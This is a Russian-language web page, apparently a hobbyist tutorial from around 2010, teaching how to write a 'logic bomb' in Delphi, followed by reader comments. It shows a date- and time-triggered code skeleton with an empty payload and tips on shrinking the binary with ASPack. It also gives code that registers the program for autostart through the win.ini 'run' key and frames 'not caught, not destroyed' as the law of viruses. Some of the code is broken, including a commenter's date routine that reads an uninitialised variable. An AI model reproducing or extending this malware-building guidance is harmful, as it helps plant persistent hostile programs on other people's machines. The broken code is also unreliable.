Привет читатель. Добро пожаловать на урок по
изготовлению логической бомбы. Логическая бомба это (если я не ошибаюсь) то это
разновидность вируса. Её принцип прост. Она запускает определённый программный
код при выполнении определённых условий. Часто таким условием бывает время или
дата.
И так приступим к программному коду: 0) Запусти Delphi. 1) Создай новый проект. 2) Удали Form из проекта. (project=>remove from project=>выбери форму=>OK=>появится
окно, нужно согласиться=>всё! Форма удалена) 3) Откроем место для написания кода (project=>view source=>
Program log_bomb;//Название может быть любым
Uses windows, SysUtils; //Подключаемые модули, чем меньше , тем лучше.
Begin
//Если дата 11.11.1111 то срабатывает код написанный
If datetostr(date)=’11.11.1111’ then
Begin // Между begin
// Сам код, выполняющийся при выполнении условия
End;
Exit;
End.
Вот и всё.
А теперь несколько советов.
1) Всегда в конце лучше писать EXIT; Не пойман не уничтожен – закон
вирусов. 2) Если надо чтобы программа срабатывала в определённое время. То надо
писать следущее:
If timetostr(time)=’22:22’ then
Begin
// Код
End;
3) Иногда, когда подключаешь много модулей прога приобретает «Царский
размер»
В этих случаях необходимо пользоваться ASPACK'ом. Он уменьшит размер примерно в
два раза.
4) Всегда проверяй Автозагрузку. Может что-то подобное уже работает у
тебя!!!!
Теперь я расскажу как сделать это двумя способами: через файл win.ini и через
реестр. Приступим.
1) способ Через Win.ini
Для этого надо знать как работать с INI файлами.
Program INIFI;
Uses inifiles;
//Обьявляем переменную для работы с ini файлами
Var reg: tinifile;
Begin
//Выделяем память для переменной, открываем файл
reg:=tinifile.create('win.ini');
//Непосредственно прописываемся
reg.writestring('windows','run',application.ExeName);
//Освобождаем память
reg.free;
exit;
end.
Логическая бомба это (если я не ошибаюсь) то это
разновидность вируса. Её принцип прост. Она запускает определённый программный
код при выполнении определённых условий.
AFAIK ошибаешся. Я всегда думал что логическая бомба это пассивный объект и никогда не выполняется, потому что содержит только данные, не код. Вредоносное действие основывается на особенностях обработки этих данных какой-либо вполне мирной программой. Например если есть программа, в файле данных которой есть сохраненный связный список (n элементов, каждый из которых хранит ссылку на следующий) и известно что программа не проводит необходимых проверок корректности файла, то можно создать бомбу - файл, содержащий замкнутый список, и тем самым загнать открывающую прогу в бесконечный цикл
Марат June 02 2010 16:34:44
Исправь пожалуйста: Uses Windows, SysUtils; , а то без SYSUTILS не компилится
Марат Июнь 02 2010 20:34:44
Исправь пожалуйста: Uses Windows, SysUtils; , а то без SYSUTILS не компилится
Это ты с декабря прошлого года что ли мучался?
WETAL August 01 2010 08:27:56
Вот процедура даты без всяких Uses Windows, SysUtils
procedure Dates;
var
s:string;
dt:TDateTime;
begin
s:=DateTostr(dt);
end;
Добавить комментарий
Рейтинги
Рейтинг доступен только для пользователей.
Пожалуйста, залогиньтесь или зарегистрируйтесь для голосования.
Нет данных для оценки.
Гость
Вы не зарегистрированны? Нажмите здесь для регистрации.
Главная
Каталог файлов
